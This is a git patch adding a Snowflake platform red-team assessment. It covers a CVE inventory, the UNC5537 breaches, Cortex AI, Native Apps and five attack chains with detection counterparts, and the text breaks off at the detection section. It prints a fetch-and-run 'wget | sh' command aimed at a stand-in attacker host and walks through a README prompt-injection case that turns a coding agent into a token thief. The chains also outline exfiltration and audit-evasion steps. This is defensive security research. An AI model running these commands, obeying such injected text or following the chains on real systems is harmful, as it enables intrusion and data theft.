From 73c211e4f2d31a5c2e9135a580a1d6d3ee26c362 Mon Sep 17 00:00:00 2001 From: AI Agent Bot Date: Fri, 15 May 2026 07:08:29 -0500 Subject: [PATCH 1/2] Add Snowflake platform red-team assessment (#44) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Deep dive covering UNC5537 / post-2024 landscape, authoritative CVE inventory (CVE-2026-6442 Cortex Code sandbox escape, JDBC privilege escalation, connector secret-leakage cohort), five attack chains (credential theft, AI injection, Native Apps supply-chain, federated-IdP pivot, cross-cloud storage integration), detection surface analysis, and prioritized recommendations. Deliverables: - docs/analysis/snowflake-platform-attack-surface-2026.md — working notes - reports/snowflake-platform-assessment/ — six linked static HTML pages (no build step; CI copies directory as-is to _site/snowflake/) - site/index.html — report card added to GitHub Pages landing page Co-Authored-By: Claude Sonnet 4.6 --- .github/workflows/main-ci.yml | 4 + CLAUDE.md | 12 + .../snowflake-platform-attack-surface-2026.md | 688 ++++++++++++++++++ .../snowflake-platform-assessment/README.md | 34 + .../assets/style.css | 224 ++++++ .../attack-chains.html | 134 ++++ .../cve-inventory.html | 188 +++++ .../detection.html | 141 ++++ .../snowflake-platform-assessment/index.html | 116 +++ .../recommendations.html | 131 ++++ .../threat-landscape.html | 135 ++++ site/index.html | 8 + 12 files changed, 1815 insertions(+) create mode 100644 docs/analysis/snowflake-platform-attack-surface-2026.md create mode 100644 reports/snowflake-platform-assessment/README.md create mode 100644 reports/snowflake-platform-assessment/assets/style.css create mode 100644 reports/snowflake-platform-assessment/attack-chains.html create mode 100644 reports/snowflake-platform-assessment/cve-inventory.html create mode 100644 reports/snowflake-platform-assessment/detection.html create mode 100644 reports/snowflake-platform-assessment/index.html create mode 100644 reports/snowflake-platform-assessment/recommendations.html create mode 100644 reports/snowflake-platform-assessment/threat-landscape.html diff --git a/.github/workflows/main-ci.yml b/.github/workflows/main-ci.yml index ffec63d..1be4305 100644 --- a/.github/workflows/main-ci.yml +++ b/.github/workflows/main-ci.yml @@ -276,6 +276,10 @@ jobs: mkdir -p _site/dashboard/assets cp reports/databricks-apps-assessment/assets/*.svg _site/dashboard/assets/ 2>/dev/null || true + # Copy Snowflake assessment (static HTML/CSS — no build step needed) + cp -r reports/snowflake-platform-assessment _site/snowflake + rm -f _site/snowflake/README.md + # Copy CVE README as an index cp cves/README.md _site/cve-index.md 2>/dev/null || true diff --git a/CLAUDE.md b/CLAUDE.md index 0b703a3..0f56f9e 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -64,6 +64,16 @@ The report at `reports/databricks-apps-assessment/` is a concatenated Streamlit - Build: `python build.py` — Check: `python build.py --check` - All imports belong in `_00_header.py` only; no cross-imports between `src/` files +## Snowflake Report + +The report at `reports/snowflake-platform-assessment/` is a set of linked static HTML pages (no build step). + +- Edit pages directly: `index.html`, `threat-landscape.html`, `cve-inventory.html`, `attack-chains.html`, `detection.html`, `recommendations.html` +- Shared styles: `assets/style.css` +- Serve locally: `python -m http.server 8080` from the report directory, then open `http://localhost:8080/` +- The CI pipeline copies the directory as-is to `_site/snowflake/` +- Working notes / findings: `docs/analysis/snowflake-platform-attack-surface-2026.md` + --- ## Index @@ -166,6 +176,7 @@ The report at `reports/databricks-apps-assessment/` is a concatenated Streamlit → [docs/analysis/firmware-landscape-2026/README.md](docs/analysis/firmware-landscape-2026/README.md) — Hydroph0bia, LogoFAIL successors, UEFI cert expiry → [docs/analysis/apple-mie-impact.md](docs/analysis/apple-mie-impact.md) — Apple Memory Integrity Enforcement → [docs/analysis/vishing-2026-market.md](docs/analysis/vishing-2026-market.md) — deepfake vishing economics + healthcare targeting +→ [docs/analysis/snowflake-platform-attack-surface-2026.md](docs/analysis/snowflake-platform-attack-surface-2026.md) — CVE inventory, UNC5537 analysis, Cortex AI/Native Apps/SPCS attack surface, chains A–E, detection gaps ### Research Docs — Methodology → [docs/methodology/callstack-spoofing.md](docs/methodology/callstack-spoofing.md) @@ -202,3 +213,4 @@ The report at `reports/databricks-apps-assessment/` is a concatenated Streamlit ### Reports → [reports/databricks-apps-assessment/](reports/databricks-apps-assessment/) — Streamlit report (see build notes above) +→ [reports/snowflake-platform-assessment/](reports/snowflake-platform-assessment/) — Static HTML report; findings at [docs/analysis/snowflake-platform-attack-surface-2026.md](docs/analysis/snowflake-platform-attack-surface-2026.md) diff --git a/docs/analysis/snowflake-platform-attack-surface-2026.md b/docs/analysis/snowflake-platform-attack-surface-2026.md new file mode 100644 index 0000000..bbfd067 --- /dev/null +++ b/docs/analysis/snowflake-platform-attack-surface-2026.md @@ -0,0 +1,688 @@ +# Snowflake Platform Attack Surface — 2026 + +## Overview + +Snowflake is a multi-cloud data warehouse and AI platform with a federated +identity model, an extensive driver/connector ecosystem, an in-product agentic +AI stack (Cortex), an installable application model (Native Apps + Marketplace), +and a container runtime (Snowpark Container Services). The platform's attack +surface differs from a traditional database in three important ways: + +1. **Identity is multi-tenant and federated.** A Snowflake tenant typically + trusts an external IdP (Okta, Entra ID, PingFederate, Auth0) for human users + and uses key-pair or OAuth for service principals. Stolen credentials and + federated-IdP abuse are the dominant initial-access vectors observed in the + wild. +2. **Execution primitives live inside the warehouse.** Stored procedures, + Python/JavaScript/Scala UDFs, Tasks (scheduled jobs), Streams, External + Functions, and (since 2025) container services let an attacker run code + inside the customer's Snowflake account. The "shell" of the platform is SQL, + but the underlying compute can call out to AWS Lambda, Azure Functions, + Google Cloud Run, or arbitrary container images. +3. **AI is a first-class attack surface.** Cortex Code, Cortex Analyst, Cortex + Search, Cortex Agents, and Document AI take untrusted text in (user prompts, + documents, search results, MCP tool output) and produce trusted action out + (SQL execution, file modification, command-line tool calls). The + prompt-injection trust boundary is now an authorization boundary. + +This document is the working notes for a red-team assessment of an enterprise +Snowflake deployment. It is the sibling deliverable to +[`reports/databricks-apps-assessment/`](../../reports/databricks-apps-assessment/), +but covers a different platform with different controls. Findings are based on +public CVE data, vendor documentation, public incident retrospectives, and +extensions of tooling already in this repository. + +--- + +## Threat Landscape + +### UNC5537 (May–June 2024) — The Foundational Incident + +UNC5537 is a financially motivated cluster tracked by Mandiant that +systematically compromised Snowflake customer tenants throughout May–June 2024 +using credentials harvested from infostealer logs going back as far as 2020. +Mandiant and Snowflake notified roughly 165 affected organizations, including +AT&T, Ticketmaster/Live Nation, Santander, LendingTree, Advance Auto Parts, +Neiman Marcus, and Bausch Health. + +Mandiant attributed the success of the campaign to three control gaps that were +universally present at the victim accounts: + +| Control gap | Why it mattered | +|-------------|-----------------| +| No MFA on the compromised user | The credential alone was sufficient to authenticate. At the time, Snowflake did not require MFA by default. | +| Credentials not rotated | Many credentials harvested from 2020-era infostealer logs still worked in 2024. | +| No network policy | Logins were accepted from any source IP, including infostealer-operator infrastructure. | + +UNC5537 used a custom reconnaissance utility named FROSTBITE (described by +Mandiant as performing SQL recon — listing users, roles, current IP, session +metadata, and organization name) and then issued `SELECT ... INTO @stage` and +external-stage `COPY` commands to exfiltrate bulk data to attacker-controlled +S3/Azure storage. + +### Snowflake's Response (July 2024 – April 2025) + +- **July 2024**: Account administrators can now enforce mandatory MFA across an + account; previously MFA was opt-in per user. +- **October 2024**: MFA is enforced by default for human users on all newly + created Snowflake accounts. +- **April 2025**: Single-factor password sign-ins for human users are blocked; + any human authenticating with only a password is forced through MFA. +- **2025**: Trust Center GA. Trust Center's "Security Essentials" scanner pack + flags users without MFA, accounts without a network policy, and over-privileged + service users. +- **2025**: Snowflake strongly recommends a network policy on every key-pair + authentication user, and on service users in general. + +The post-UNC5537 control surface is materially stronger than what was deployed +in 2024 — but adoption is uneven, and the controls are not retroactive. An +assessment in 2026 must measure customer adoption of these controls, not +Snowflake's documented defaults. + +### Other Notable Patterns + +- **Infostealer-to-SaaS pipeline**: The Snowflake breach proved that + infostealer logs are a viable initial-access channel into enterprise SaaS, + not just consumer accounts. The same pipeline applies to any SaaS that + accepts password + (optional MFA) authentication. +- **Federated-IdP compromise**: Where Snowflake delegates auth to Okta or + Entra, the IdP becomes the soft target. This shifts the assessment frame + toward [Golden SAML](../methodology/ad-cs-attack-modeling.md), token + audience confusion, and SCIM-provisioning abuse. + +--- + +## Authoritative CVE Inventory + +CVE source of truth: [OpenCVE — vendor:snowflake](https://app.opencve.io/cve/?vendor=snowflake). +Native Apps CVE policy: [Snowflake docs — Native Apps security/CVE](https://docs.snowflake.com/en/developer-guide/native-apps/security-cve). +The OpenCVE list is the authoritative inventory; cross-referenced against +Snowflake's JDBC release notes and NVD where applicable. + +### High and Medium Severity (Snowflake-Owned Components) + +| CVE | Component | CVSS | Notes | +|-----|-----------|------|-------| +| CVE-2026-6442 | Cortex Code CLI | 8.3 H | Improper validation of shell commands → sandbox escape and arbitrary code execution. The Cortex Code agent could be steered via indirect prompt injection (e.g., a malicious README) into running `wget | sh`-style commands with the user's cached Snowflake tokens. Fixed in Cortex Code CLI 1.0.25 (Feb 28, 2026); disclosed by PromptArmor. | +| CVE-2025-24789 | Snowflake JDBC | 7.8 H | Privilege escalation via untrusted search-path / writeable PATH directory on Windows. | +| CVE-2023-30535 | Snowflake JDBC | 7.3 H | Command injection via a malicious SSO server response — the JDBC driver passed an SSO URL to a local browser launcher without sanitization. | +| CVE-2023-34232 | Snowflake Connector (Node.js) | 7.3 H | Same class of bug in the Node connector — browser-launch command injection through SSO redirect. | +| CVE-2024-43382 | Snowflake JDBC | 5.9 M | Client-side encryption silently disabled on PUT uploads when a specific config combination was used — data uploaded to external stages was unencrypted client-side despite configuration intent. | +| CVE-2025-24791 | Snowflake Connector (Python) | 4.4 M | Temporary credential cache file written with permissive permissions on Linux — local user could read another user's cached token. | +| CVE-2026-3293 | Snowflake JDBC | 3.3 L | Inefficient regex in proxy route handler (ReDoS). | +| CVE-2025-27496 | Snowflake JDBC | 3.3 L | Client-side encryption master key written to debug logs during GET/PUT. | +| CVE-2025-46326 | .NET Connector | 3.3 L | TOCTOU race in logging-config validation on Linux/macOS. | +| CVE-2025-46327 | Go connector (gosnowflake) | 3.3 L | TOCTOU in logging-config (same class). | +| CVE-2025-46328 | Node.js Connector | 3.3 L | TOCTOU in logging-config (same class). | +| CVE-2025-46329 | C/C++ Connector | 3.3 L | Master key written to debug logs (same class as CVE-2025-27496). | +| CVE-2025-46330 | C/C++ Connector | 3.3 L | Malformed retry logic causes process hang (availability). | +| CVE-2022-42965 | Snowflake Connector | 3.3 L | ReDoS in the file-transfer type method. Republished in 2026. | +| CVE-2024-28851 | Hive MetaStore Connector | 4.0 M | Elevation of privilege via content replacement in a helper script. | + +### Bundled Streamlit CVEs + +Streamlit is owned by Snowflake; vulnerabilities in Streamlit affect both +Streamlit-in-Snowflake apps and any standalone Streamlit deployment. + +| CVE | CVSS | Notes | +|-----|------|-------| +| CVE-2026-33682 | 4.7 M | SSRF on Windows via malicious UNC paths. | +| CVE-2022-35918 | 6.5 M | Directory traversal via custom components. | +| CVE-2023-27494 | 5.9 M | Reflected XSS via URL parameter handling. | + +### Transitive / Dependency-Driven CVEs Patched in Drivers + +These are not direct Snowflake bugs but were addressed via driver releases — +useful to surface because they show the dependency burden of the connector +stack and are often discoverable through SBOM scanning: + +- CVE-2025-8916 / CVE-2025-8885 — BouncyCastle, surfaced via JDBC driver. +- CVE-2025-58057 — grpc-java transient dep. +- CVE-2025-59419 / CVE-2025-58056 / CVE-2025-3823 — Netty, surfaced via JDBC. + +### What the CVEs Tell Us About the Connector Stack + +A pattern across the 2025 connector cohort: **the connectors leak secrets to +debug logs** (master keys, cached tokens) and **trust their local filesystem +context** (PATH on Windows, world-readable cache files on Linux, TOCTOU on +config). Any host that runs a Snowflake driver in production is a higher-value +post-exploitation target than the CVSS scores alone suggest — they are +positioned to hold valid credentials and ingest debug log files in routine +operations. + +### CVE Coverage of the Server Side + +Notably absent from the public CVE record: vulnerabilities in the Snowflake +service itself. Snowflake operates a closed multi-tenant SaaS; service-side +issues are remediated server-side and rarely receive CVEs. The Native Apps +"CVE policy" page commits providers to remediate CVEs in their own apps but +does not enumerate any. Server-side issues that *have* surfaced publicly — +the Cortex Code sandbox-escape (CVE-2026-6442 is on the CLI, but the +underlying behavior is service-mediated) — typically show up via a CVE on the +client component because that's where the patching happens. + +--- + +## Platform Attack Surface + +### Authentication and Identity + +| Mechanism | Status | Attack Surface | +|-----------|--------|----------------| +| Password (single-factor) | Blocked for humans as of April 2025 | Legacy service users may still allow it; attacker reconnaissance should test | +| Password + MFA | Default for humans | MFA fatigue, push bombing, Duo cache replay — same surface as any MFA-protected SaaS | +| Key-pair (RSA) | Common for service users | Private key in `~/.snowsql/`, in CI runners, in airflow/dbt configs — these are exfil targets | +| OAuth (Snowflake-native) | For tool integrations | OAuth client secret exfil; refresh-token replay; consent-phishing | +| External OAuth (Entra/Okta/Ping) | Federation for end users | Token audience confusion, Golden SAML on IdP side; relevant tooling: [`tools/cloud-identity/golden-saml/`](../../tools/cloud-identity/golden-saml/) | +| SCIM provisioning | Okta/Entra → Snowflake user/role sync | SCIM token theft, race-condition privilege escalation, group-grant manipulation | +| SAML SSO | For end users | Standard SAML assertion abuse; classic Golden SAML applies | +| Programmatic Access Tokens (PATs) | New as of 2024/2025 | Long-lived bearer tokens; scope discovery; rotation gaps | + +**Key-pair authentication** deserves explicit callout: it is the +recommended authentication for service users, *and* Snowflake's own +guidance says key-pair users without network policies are the highest-risk +configuration. An assessment should walk every dbt/airflow/CI host and check +whether the private key is encrypted at rest, who can read it, and whether +the corresponding Snowflake user has a network policy. + +### Cortex AI — The New Crown Jewel Surface + +Snowflake has positioned Cortex as the agentic control plane for the data +warehouse. The relevant components: + +- **Cortex Code** — a CLI agent (similar in shape to Claude Code or Cursor) + that operates against a developer's local filesystem, can run shell + commands, and holds cached Snowflake tokens. Subject of CVE-2026-6442. +- **Cortex Analyst** — text-to-SQL with access to a curated semantic model. + The semantic model defines what tables it can query and how columns map to + business concepts. Prompt injection from an indirectly-fetched data source + (a row in a table, an MCP tool result, a Cortex Search hit) can steer the + generated SQL. +- **Cortex Search** — embedding-based search over a customer's data. Result + poisoning is a primary concern: any document the customer indexed that + contains an indirect prompt injection becomes a payload delivery channel + to downstream Cortex Analyst / Cortex Agents flows that consume search + results as context. +- **Cortex Agents** — orchestrates Cortex Analyst + Cortex Search + tool calls + (including MCP). Inherits all of the indirect-prompt-injection trust issues + of its constituent components and amplifies them via tool use. +- **Document AI** — extracts structured fields from documents. Injection + payloads can be embedded in OCR'd PDFs, image metadata, or invisible text; + they then flow into downstream Cortex pipelines as "structured data" with + the trust level of any other table column. +- **Cortex AI Guardrails** (Horizon Catalog) — Snowflake's first-party + prompt-injection / jailbreak filter, GA in early 2026. It is policy-driven + and centralizes detection — but it is not a complete defense and customer + adoption is what matters. + +**Vendor governance model.** Per Snowflake's +[security governance practices for Snowflake Intelligence](https://www.snowflake.com/en/blog/security-governance-practices-snowflake-intelligence/), +the defense-in-depth stack consists of: connection layer (with +`ALLOWED_INTERFACES` for segregated access), Horizon Catalog (the primary +governance plane, providing classification/tagging, column- and row-level +security, masking, tokenization), the Agent API, the Cortex tool +orchestration layer, and the final response. Two-tier access control gates +which models a user/role can invoke: an account-level allowlist plus +role-level grants via `CORTEX_USER` and `CORTEX_EMBED_USER`. Cortex AI +Guardrails (Horizon Catalog) is the first-party prompt-injection / jailbreak +filter and also includes leaked-password screening and malicious-IP +filtering. **Cortex Analyst is constrained to SELECT queries** — but this +does not stop an Agent that wraps Analyst together with a stored procedure +or UDF that performs DML. + +Snowflake's strongest stated guarantee is: *"neither agents nor Snowflake +Intelligence can perform any action beyond the logged-in user's permissions."* +The CVE-2026-6442 chain is the counterexample by design: the attacker is +running *as* the user, so "the user's permissions" *is* the threat surface, +not the boundary. + +One under-discussed governance fact: Cortex final-response generation +**reaches out of the Snowflake boundary** to Anthropic or Azure-OpenAI +models. Snowflake does not publicly detail what payload is sent or what the +retention policy is at those providers. From a red-team perspective this is +a side-channel worth probing in a scope where the customer treats Snowflake +data as "in their boundary." + +**The CVE-2026-6442 / PromptArmor disclosure is the canonical chain**: + +1. Cortex Code is given a "review this repo" task. +2. The repo's README contains an indirect prompt injection. +3. Cortex Code interprets the injection as a user instruction and runs + `cat < <(sh < <(wget -qO- https://attacker/bugbot))` — Snowflake's command + validator did not block this construction. +4. The fetched script reads the user's cached Snowflake authentication tokens + from disk and uses them to issue SQL: `SELECT *` exfil, `DROP TABLE`, + `CREATE USER`, `ALTER NETWORK POLICY` (lockout). +5. Fixed in Cortex Code CLI 1.0.25 on 2026-02-28. + +The pattern generalizes: **any Cortex surface that accepts data the customer +did not author is a prompt-injection entry point**, and **any Cortex surface +that holds delegated Snowflake credentials is a code-execution amplifier**. +This is precisely the EchoLeak / ShareLeak shape we already model for M365 +Copilot in [`tools/llm-attacks/m365-copilot/`](../../tools/llm-attacks/m365-copilot/). + +### Native Apps and Marketplace + +Snowflake Native Apps are installable applications distributed via the +Snowflake Marketplace. They install into a *consumer's* Snowflake account and +can include: + +- SQL objects (tables, views, procedures, UDFs) +- Streamlit-in-Snowflake apps +- Snowpark Container Services workloads (containerized backends) +- Required cloud-provider integrations (storage, external functions) + +The trust boundary is *Provider account → Consumer account*, mediated by +Snowflake's listing-review process. Per Snowflake's own +[Native Apps security overview](https://docs.snowflake.com/en/developer-guide/native-apps/security-overview) +and the [Native Apps security blog post](https://www.snowflake.com/en/blog/snowflake-native-apps-security/): + +- All apps run through the **Native App Anti-Abuse Pipeline Service + (NAAAPS)** — an automated scan on every new app version or patch — which + checks "for bugs, anti-patterns, and security vulnerabilities," for + "malware," and for "vulnerabilities in app dependencies." Output is + auto-approval or manual review. +- Apps with containers additionally require **Snowflake Product Security + team approval** before public or private listing. +- A three-criterion CVE evaluation gate applies (NVD-confirmed fix exists, + high-integrity CVSS impact, EPSS ≥ 10%). +- The CVE-remediation responsibility lies with the *provider*, not Snowflake. +- Python packages used by Native Apps are gated through a Snowflake/Anaconda- + curated set with security scanning. + +**Snowflake's stated threat model for Native Apps** is explicit. The vendor +names four categories the security review pipeline is designed to catch: + +| Threat | Vendor statement | +|--------|------------------| +| Data exfiltration | "Malicious apps could copy consumer data to external functions or logs." | +| Compute abuse | "Apps could perform unauthorized tasks, such as cryptomining, at the consumer's expense." | +| Ransomware | "Apps could encrypt or corrupt consumer data, demanding payment for restoration." | +| Privilege escalation | "Apps could attempt to gain unauthorized permissions within the consumer's account." | + +What the documentation does **not** provide is *positive* assurance: there +is no statement of "an app cannot do X" with technical isolation backing. +The defense is review, not sandbox. An assessment should treat NAAAPS as +analogous to Apple App Store review or Chrome Web Store review — a strong +deterrent against trivially-malicious code, but not a complete authorization +boundary. + +The vendor *does* make a strong **provider-code-protection** claim: provider +SQL objects (procedures, views) are not directly readable by the consumer +even though the consumer can execute them. This protects provider IP. The +inverse statement — that consumer data is protected from a malicious +provider — is asserted via the four-threat-category review rather than by +runtime isolation primitives. + +**Threat-modeling implications**: + +- A compromised provider account is a supply-chain compromise vector against + every consumer that has installed (or auto-updates) the listed app. This + is the closest cousin to [Shai-Hulud](../../tools/supply-chain/shai-hulud/) + in the npm ecosystem; NAAAPS is the marketplace-side gate that can catch + the worst payloads but is not a defense against a sophisticated, slow, + staged supply-chain attack. +- Native Apps can request `READ` or `MODIFY` privileges on consumer schemas; + the consent UI is the only control between an installer and a wide-scope + data read. +- Apps that include SPCS backends can be granted egress allowances ("EXTERNAL + ACCESS INTEGRATION") that, if over-broad, become a sanctioned exfil channel. +- Update channel: when a consumer enables auto-update, the provider can push + code into the consumer account without re-consent — and NAAAPS is the only + gate on the new version. Compare with browser extension auto-update + (covered in + [`docs/methodology/browser-extension-supply-chain.md`](../methodology/browser-extension-supply-chain.md)). + +### Streamlit-in-Snowflake + +Streamlit apps that run *inside* a Snowflake account inherit the account's +identity and can issue SQL against any object the running user can access. + +- Streamlit CVEs that affect standalone Streamlit (XSS, traversal, SSRF) + apply to the in-Snowflake variant too — they were the same codebase. +- The cross-page state model and `streamlit_javascript` / `streamlit_extras` + ecosystem are JS-execution channels. +- A Streamlit app shipped inside a Native App is a hybrid: it inherits Native + App privileges *and* Streamlit's web-app trust boundaries. + +### Snowpark Container Services (SPCS) + +SPCS provides container hosting inside Snowflake — primarily for serving +custom models, hosting web services that need persistent state, and running +non-SQL workloads alongside the warehouse. + +Vendor stance: strict network isolation by default, controlled ingress/egress, +container image scanning during the review pipeline. Customer-managed +EXTERNAL ACCESS INTEGRATIONS punch holes through the isolation. + +Threat surface to probe in an assessment: + +- Service-spec misconfiguration: an EXTERNAL ACCESS INTEGRATION that allows + egress to `*.amazonaws.com` is wide enough to be an exfil channel. +- Container image provenance: an untrusted base image in a customer-built + SPCS service is a supply-chain risk equivalent to running that image in + the customer's own EKS cluster. +- Compute-pool privileges: a service running in a shared compute pool with + an over-privileged role assigned to it can issue SQL against the + warehouse with that role's grants. + +### External Functions and Storage Integrations + +External Functions let Snowflake SQL call out to AWS API Gateway, Azure API +Management, or Google Cloud Run. Storage Integrations let Snowflake assume +an IAM role in the customer's cloud account to read/write S3, GCS, or +Azure Blob. + +Both are *outbound trust* paths from Snowflake into the customer's cloud +estate. Threat model: + +- Over-broad IAM roles bound to a Snowflake Storage Integration are the + primary cross-cloud pivot from a compromised Snowflake user. A read-write + role on `arn:aws:s3:::company-*` exfiltrates everything in the company + S3 namespace; we already model this class in + [`tools/cloud-identity/wif/`](../../tools/cloud-identity/wif/). +- External Functions backed by an overly-permissive Lambda can be coerced + by a Snowflake user to run with the Lambda's role — privilege escalation + out of Snowflake into AWS. +- Tag-based access policies on Storage Integrations are a customer-side + control that is often missing in real deployments. + +### Data Sharing and Replication + +Snowflake's secure data sharing model (Listings, Direct Shares, Reader +Accounts) and Cross-Region / Cross-Cloud replication are powerful but +introduce trust paths that are not always visible to security teams: + +- **Direct Shares**: A privileged user can `CREATE SHARE` and grant a + consumer account read access to a database. There is no per-share approval + workflow by default; detection requires watching + `SNOWFLAKE.ACCOUNT_USAGE.SHARES` for new entries. +- **Reader Accounts**: A provider-controlled tenant the provider creates + for a consumer without their own Snowflake contract. Misconfigured reader + accounts can become unmanaged-tenant exfil destinations. +- **Replication groups**: An attacker with `REPLICATIONADMIN` can stage a + replication group to a destination account they control; this is a bulk + exfil path that bypasses query-level audit. + +### Execution Primitives (Where Code Actually Runs) + +| Primitive | Runs as | Code language | Notes | +|-----------|---------|---------------|-------| +| Stored procedure | Owner or caller, per declaration | SQL, JS, Python, Scala, Java | Owner-rights procedures are a classic privilege-escalation primitive | +| UDF | Owner or caller | SQL, JS, Python | Python UDFs run in a sandboxed worker with no network by default | +| Task | Owner | Calls SQL / procedures | Scheduled execution = persistence; new Tasks should always be reviewed | +| External Function | Customer cloud | Anything | Exfil channel; review API Gateway / Lambda IAM | +| Streamlit app | App-installer role | Python (Streamlit subset) | Inherits installer privileges | +| SPCS service | Service-bound role | Anything (container) | EXTERNAL ACCESS INTEGRATION is the trust boundary | + +The recurring theme: **owner-rights execution + persistent scheduling +(Tasks) + a privileged role = a Snowflake-native persistence implant**. +The detection equivalent of looking for new scheduled tasks on a Windows +host is `SHOW TASKS IN ACCOUNT` plus a diff against a baseline. + +--- + +## Attack Chains + +### Chain A — Credential Theft to Bulk Exfil (Replays UNC5537) + +1. Initial access via infostealer log credential (or AiTM-captured cookie for a + federated user, using the [Tycoon2FA-class kits](../../tools/phishing/aitm-kits/)). +2. Validate the credential via `SnowSQL` or the Snowflake REST API; check for + absence of MFA and absence of network policy. +3. Reconnaissance: enumerate accessible databases, schemas, and the user's + default and secondary roles. Identify which warehouses the role can run on + and which roles have `IMPORTED PRIVILEGES` on `SNOWFLAKE.ACCOUNT_USAGE`. +4. Bulk exfil: `COPY INTO ` against high-value tables. The + external stage points at attacker-controlled S3. +5. Coverage: `ALTER SESSION SET QUERY_TAG = ''`, + schedule exfil at low-traffic hours, prefer wide-aggregate queries over + per-row queries to evade row-level audit triggers. + +**Detection counterpart**: anomalous `COPY INTO ` volume, +new external stage created in the last 24h, `SHOW NETWORK POLICIES` returns +nothing for a key-pair user. + +### Chain B — Cortex Code Indirect Injection to Cred Theft + +1. Plant a public repo (GitHub Pages / npm / pypi) with a `README.md` that + contains the prompt-injection payload. +2. Wait for a Cortex Code user to "review" or "summarize" the repo. +3. CVE-2026-6442 (pre-1.0.25) lets the injected instructions run a shell + command on the developer's workstation. +4. The shell command reads the cached Snowflake tokens from the user's home + directory and exfiltrates them. +5. Attacker now has a Snowflake session with the developer's identity — + often a privileged engineering or data-eng role. + +**Detection counterpart**: `Cortex Code CLI version < 1.0.25`, +unusual outbound HTTP from a developer host shortly after a Cortex Code +session, new Snowflake sessions originating from an IP outside the developer's +historic range. + +### Chain C — Native App Marketplace Supply-Chain + +1. Attacker compromises a Marketplace provider account (credential phish or + GitHub-Actions-OIDC pivot per + [`docs/methodology/ci-cd-attack-modeling.md`](../methodology/ci-cd-attack-modeling.md)). +2. Push a new version of the listed Native App with a malicious post-install + script or a UDF that exfiltrates on first invocation. +3. Consumers with auto-update enabled receive the update without re-consent. +4. Each consumer execution exfils data through an EXTERNAL ACCESS INTEGRATION + that the original Native App was already authorized for. + +**Detection counterpart**: monitor `SNOWFLAKE.ACCOUNT_USAGE.APPLICATIONS` +for version bumps, compare manifest hashes between versions, alert on new +external integrations requested by a previously-installed app. + +### Chain D — Federated-IdP Compromise to Snowflake + +1. Compromise Entra ID or Okta tenant — Golden SAML, token-signing key theft, + service principal abuse (covered in + [`docs/analysis/entra-2026-state-of-play.md`](entra-2026-state-of-play.md)). +2. Forge a SAML assertion / OIDC token for a high-privileged Snowflake user + (ACCOUNTADMIN, SECURITYADMIN, or a role with `IMPORTED PRIVILEGES`). +3. Authenticate to Snowflake via the federated path. Network policies that + gate the IdP-issued path may differ from those gating direct-password + logins; this is where the gap usually is. +4. Proceed as in Chain A from step 3. + +**Detection counterpart**: SAML assertions issued without a corresponding +sign-in event on the IdP, Snowflake logins where `LOGIN_HISTORY.AUTHENTICATION_METHOD` +shows `SAML` for a user that should be using key-pair, geographic anomaly on +the federated leg. + +### Chain E — External Function / Storage Integration Cross-Cloud Pivot + +1. Compromise a Snowflake user with `OWNERSHIP` or `USAGE` on a Storage + Integration that binds to an AWS IAM role. +2. Create an external stage on the integration pointing at any bucket the IAM + role can reach — including buckets outside the original intent. +3. List, read, and exfil bucket contents. If the IAM role has `s3:PutObject`, + plant attacker-controlled data inside the customer's bucket (useful for + downstream supply-chain attacks against pipelines that consume from that + bucket). +4. If an External Function is bound to a Lambda with a permissive trust + policy, invoke the Lambda to enumerate the cloud account from its + perspective — IAM, KMS, Secrets Manager — and stage a deeper pivot. + +**Detection counterpart**: `SNOWFLAKE.ACCOUNT_USAGE.STAGES` shows a new +external stage on an integration that is not on the integration's expected +bucket allowlist; AWS CloudTrail shows Snowflake's role accessing buckets +outside the documented data-pipeline patterns. + +--- + +## Reuse from Existing Repo Tooling + +| Existing module | Reuse for Snowflake | Snowflake-specific extension needed | +|-----------------|---------------------|--------------------------------------| +| [`tools/cloud-identity/golden-saml/`](../../tools/cloud-identity/golden-saml/) | Federated-IdP attacks against Snowflake's External OAuth (Chain D) | None — Snowflake is just another SP | +| [`tools/cloud-identity/wif/`](../../tools/cloud-identity/wif/) | Cross-cloud pivot via Storage Integrations (Chain E) | A Snowflake-side counterpart that creates external stages instead of `AssumeRoleWithWebIdentity` | +| [`tools/cloud-identity/entra-2026/`](../../tools/cloud-identity/entra-2026/) | Token replay against Snowflake's External OAuth | Audience handling for the Snowflake OAuth endpoints | +| [`tools/llm-attacks/m365-copilot/`](../../tools/llm-attacks/m365-copilot/) — EchoLeak / ShareLeak pattern | The exact same indirect-prompt-injection shape applies to Cortex Search and Cortex Agents | Cortex-specific payloads: semantic-model name confusion, Cortex Search result ranking manipulation, Document AI payload embedding | +| [`tools/llm-attacks/mcp-abuse/`](../../tools/llm-attacks/mcp-abuse/) | MCP tool poisoning against Cortex Agents | None — MCP is MCP | +| [`tools/phishing/aitm-kits/`](../../tools/phishing/aitm-kits/) (Tycoon2FA/Sneaky2FA/Rockstar2FA) | Federated-user session theft (Chain A initial access) | Snowflake-specific landing page (`*.snowflakecomputing.com` lookalike) | +| [`tools/supply-chain/shai-hulud/`](../../tools/supply-chain/shai-hulud/) | Conceptual reuse for Native App auto-update worming (Chain C) | A Marketplace-specific publisher-compromise scenario distinct from npm | +| [`tools/lateral-movement/`](../../tools/lateral-movement/) | Conceptual — but the lateral movement is cloud-to-cloud, not host-to-host | New module: Snowflake → AWS/Azure/GCP pivot via integrations | +| [`reports/databricks-apps-assessment/`](../../reports/databricks-apps-assessment/) | Report structure, attack-theater data shape, detection-gaps tab pattern | Snowflake-specific feature tabs; non-Streamlit web app target | + +### Gaps Worth Filling + +Things this assessment will surface that the current repo does not directly +cover: + +- **Key-pair credential abuse**: ingest a private key from a CI runner or + airflow container, sign a JWT, and authenticate as the service user. The + closest analog is OAuth client-credential abuse — but key-pair is its own + channel with distinct detection. +- **Programmatic Access Tokens (PATs)**: discovery, scope enumeration, + rotation gaps. The PAT model is new enough that there is little public + red-team material. +- **SCIM-provisioning abuse**: race conditions during group sync; SCIM token + theft from the IdP side. Touches both `cloud-identity/` and (for the + on-disk SCIM token) post-exploitation. +- **Snowflake-side persistence**: Tasks + owner-rights procedures + UDFs as + long-lived implants. Detection requires Snowflake-native telemetry, not + endpoint EDR. +- **Snowflake Trail and Account Usage forensics**: which questions can a + detection engineer answer with the audit surface as-shipped, and where + are the blind spots (DML against non-tracked views, query history retention, + cross-region replication of audit data). + +--- + +## Detection Surface Notes + +Primary detection sources, in roughly the order a detection engineer would +build a Snowflake program: + +1. 